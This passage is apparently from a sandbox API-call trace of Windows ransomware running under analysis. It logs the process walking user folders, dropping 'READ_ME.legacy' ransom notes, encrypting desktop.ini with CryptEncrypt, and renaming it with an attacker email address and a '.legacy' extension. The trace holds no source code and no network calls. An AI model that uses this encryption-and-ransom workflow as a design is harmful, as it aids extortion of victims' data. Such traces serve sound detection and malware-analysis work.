(dwErrCode=0x12) [0111.310] GetLastError () returned 0x12 [0111.310] SetLastError (dwErrCode=0x12) [0111.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0111.310] GetLastError () returned 0x12 [0111.310] SetLastError (dwErrCode=0x12) [0111.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0111.311] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5dc [0111.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0111.311] WriteFile (in: hFile=0x5dc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.312] CloseHandle (hObject=0x5dc) returned 1 [0111.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0111.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c35a8 | out: hHeap=0x520000) returned 1 [0111.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0111.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0111.313] FindNextFileW (in: hFindFile=0x5c5f98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34f2b3d6, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb373310b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb373310b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0111.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0111.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0111.313] GetLastError () returned 0x0 [0111.313] SetLastError (dwErrCode=0x0) [0111.313] GetLastError () returned 0x0 [0111.313] SetLastError (dwErrCode=0x0) [0111.313] GetLastError () returned 0x0 [0111.313] SetLastError (dwErrCode=0x0) [0111.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d370 [0111.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d528 [0111.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d370 | out: hHeap=0x520000) returned 1 [0111.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d528 | out: hHeap=0x520000) returned 1 [0111.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0111.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d550 [0111.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0111.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0111.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0111.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0111.314] GetLastError () returned 0x0 [0111.314] SetLastError (dwErrCode=0x0) [0111.314] GetLastError () returned 0x0 [0111.314] SetLastError (dwErrCode=0x0) [0111.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0111.314] GetLastError () returned 0x0 [0111.314] SetLastError (dwErrCode=0x0) [0111.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0111.314] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5dc [0111.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0111.347] WriteFile (in: hFile=0x5dc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.348] CloseHandle (hObject=0x5dc) returned 1 [0111.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0111.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0111.348] FindNextFileW (in: hFindFile=0x5c5f98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fd61af, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1fd61af, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1fd61af, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0111.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0111.348] GetLastError () returned 0x0 [0111.348] SetLastError (dwErrCode=0x0) [0111.348] GetLastError () returned 0x0 [0111.348] SetLastError (dwErrCode=0x0) [0111.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.348] SetLastError (dwErrCode=0x0) [0111.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d528 [0111.348] FindNextFileW (in: hFindFile=0x5c5f98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd1fd61af, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1fd61af, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Roaming", cAlternateFileName="")) returned 1 [0111.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0111.348] GetLastError () returned 0x0 [0111.348] SetLastError (dwErrCode=0x0) [0111.348] GetLastError () returned 0x0 [0111.349] SetLastError (dwErrCode=0x0) [0111.349] GetLastError () returned 0x0 [0111.349] SetLastError (dwErrCode=0x0) [0111.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0111.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0111.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0111.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3438 [0111.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0111.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0111.349] GetLastError () returned 0x0 [0111.349] SetLastError (dwErrCode=0x0) [0111.349] GetLastError () returned 0x0 [0111.349] SetLastError (dwErrCode=0x0) [0111.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.349] SetLastError (dwErrCode=0x0) [0111.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0111.349] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5dc [0111.350] WriteFile (in: hFile=0x5dc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.351] CloseHandle (hObject=0x5dc) returned 1 [0111.351] FindNextFileW (in: hFindFile=0x5c5f98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd1fd61af, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1fd61af, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Roaming", cAlternateFileName="")) returned 0 [0111.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0111.352] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Application Data\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd1fd61af, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1fd61af, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0111.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0111.354] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Contacts\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1fd61af, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5d58 [0111.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0111.356] GetLastError () returned 0x5 [0111.357] SetLastError (dwErrCode=0x5) [0111.357] GetLastError () returned 0x5 [0111.357] SetLastError (dwErrCode=0x5) [0111.364] GetLastError () returned 0x5 [0111.364] SetLastError (dwErrCode=0x5) [0111.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567268 [0111.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d6b8 [0111.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d348 [0111.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c57d8 [0111.364] FindNextFileW (in: hFindFile=0x5c5d58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1fd61af, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0111.364] SetLastError (dwErrCode=0x5) [0111.368] GetLastError () returned 0x5 [0111.368] SetLastError (dwErrCode=0x5) [0111.368] GetLastError () returned 0x5 [0111.368] SetLastError (dwErrCode=0x5) [0111.368] FindNextFileW (in: hFindFile=0x5c5d58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.368] SetLastError (dwErrCode=0x5) [0111.368] GetLastError () returned 0x5 [0111.368] SetLastError (dwErrCode=0x5) [0111.368] SetLastError (dwErrCode=0x5) [0111.368] FindNextFileW (in: hFindFile=0x5c5d58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fd61af, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1fd61af, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1fd61af, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0111.368] SetLastError (dwErrCode=0x5) [0111.368] GetLastError () returned 0x5 [0111.368] SetLastError (dwErrCode=0x5) [0111.368] SetLastError (dwErrCode=0x5) [0111.368] FindNextFileW (in: hFindFile=0x5c5d58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fd61af, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1fd61af, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1fd61af, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0111.368] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0111.368] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0111.368] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Contacts\\desktop.ini", dwFileAttributes=0x80) returned 1 [0111.369] CreateFileW (lpFileName="\\Users\\FD1HVy\\Contacts\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\contacts\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e0 [0111.369] GetFileSizeEx (in: hFile=0x5e0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=412) returned 1 [0111.369] ReadFile (in: hFile=0x5e0, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x19c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x19c, lpOverlapped=0x0) returned 1 [0111.370] SetFilePointer (in: hFile=0x5e0, lDistanceToMove=-412, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.370] WriteFile (in: hFile=0x5e0, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x19c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x19c, lpOverlapped=0x0) returned 1 [0111.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0111.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x52f438 | out: hHeap=0x520000) returned 1 [0111.371] SetFilePointer (in: hFile=0x5e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x19c [0111.371] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.371] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.371] WriteFile (in: hFile=0x5e0, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.371] WriteFile (in: hFile=0x5e0, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.372] CloseHandle (hObject=0x5e0) returned 1 [0111.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0111.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0111.372] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Contacts\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\contacts\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Contacts\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\contacts\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638b8 | out: hHeap=0x520000) returned 1 [0111.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0111.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0111.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0111.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0111.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566bd8 | out: hHeap=0x520000) returned 1 [0111.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d438 | out: hHeap=0x520000) returned 1 [0111.400] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Cookies\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fd61af, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1fd61af, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1fd61af, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0xffffffff [0111.400] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0111.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0111.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566dd0 | out: hHeap=0x520000) returned 1 [0111.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5f0 | out: hHeap=0x520000) returned 1 [0111.401] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Desktop\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd1ffb63a, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1ffb63a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c57d8 [0111.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0111.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0111.401] GetLastError () returned 0x5 [0111.401] SetLastError (dwErrCode=0x5) [0111.401] GetLastError () returned 0x5 [0111.401] SetLastError (dwErrCode=0x5) [0111.401] GetLastError () returned 0x5 [0111.401] SetLastError (dwErrCode=0x5) [0111.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567268 [0111.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d190 [0111.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0111.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d370 [0111.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5a98 [0111.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5a98 | out: hHeap=0x520000) returned 1 [0111.401] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20270 [0111.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20270 | out: hHeap=0x520000) returned 1 [0111.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d370 | out: hHeap=0x520000) returned 1 [0111.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567268 | out: hHeap=0x520000) returned 1 [0111.402] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd1ffb63a, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1ffb63a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0111.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0111.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0111.402] GetLastError () returned 0x5 [0111.402] SetLastError (dwErrCode=0x5) [0111.402] GetLastError () returned 0x5 [0111.402] SetLastError (dwErrCode=0x5) [0111.402] GetLastError () returned 0x5 [0111.402] SetLastError (dwErrCode=0x5) [0111.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cb8 [0111.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d9d0 [0111.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0111.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0111.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5898 [0111.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5898 | out: hHeap=0x520000) returned 1 [0111.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0111.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0111.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0111.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cb8 | out: hHeap=0x520000) returned 1 [0111.402] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea448650, ftCreationTime.dwHighDateTime=0x1d4d1a7, ftLastAccessTime.dwLowDateTime=0x74b5e660, ftLastAccessTime.dwHighDateTime=0x1d4d42a, ftLastWriteTime.dwLowDateTime=0x74b5e660, ftLastWriteTime.dwHighDateTime=0x1d4d42a, nFileSizeHigh=0x0, nFileSizeLow=0x11be6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1BoTI27Rl.m4a", cAlternateFileName="1BOTI2~1.M4A")) returned 1 [0111.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0111.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0111.402] GetLastError () returned 0x5 [0111.403] SetLastError (dwErrCode=0x5) [0111.403] GetLastError () returned 0x5 [0111.403] SetLastError (dwErrCode=0x5) [0111.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0111.403] GetLastError () returned 0x5 [0111.403] SetLastError (dwErrCode=0x5) [0111.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d528 [0111.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d528 | out: hHeap=0x520000) returned 1 [0111.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d2f0 [0111.403] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38d37620, ftCreationTime.dwHighDateTime=0x1d4cf76, ftLastAccessTime.dwLowDateTime=0xb23f6080, ftLastAccessTime.dwHighDateTime=0x1d4c933, ftLastWriteTime.dwLowDateTime=0xb23f6080, ftLastWriteTime.dwHighDateTime=0x1d4c933, nFileSizeHigh=0x0, nFileSizeLow=0x18727, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="2CM4hAu-L5z.mp3", cAlternateFileName="2CM4HA~1.MP3")) returned 1 [0111.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0111.403] GetLastError () returned 0x5 [0111.403] SetLastError (dwErrCode=0x5) [0111.403] GetLastError () returned 0x5 [0111.403] SetLastError (dwErrCode=0x5) [0111.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.403] HeapFree (in: hHeap=0x520000, 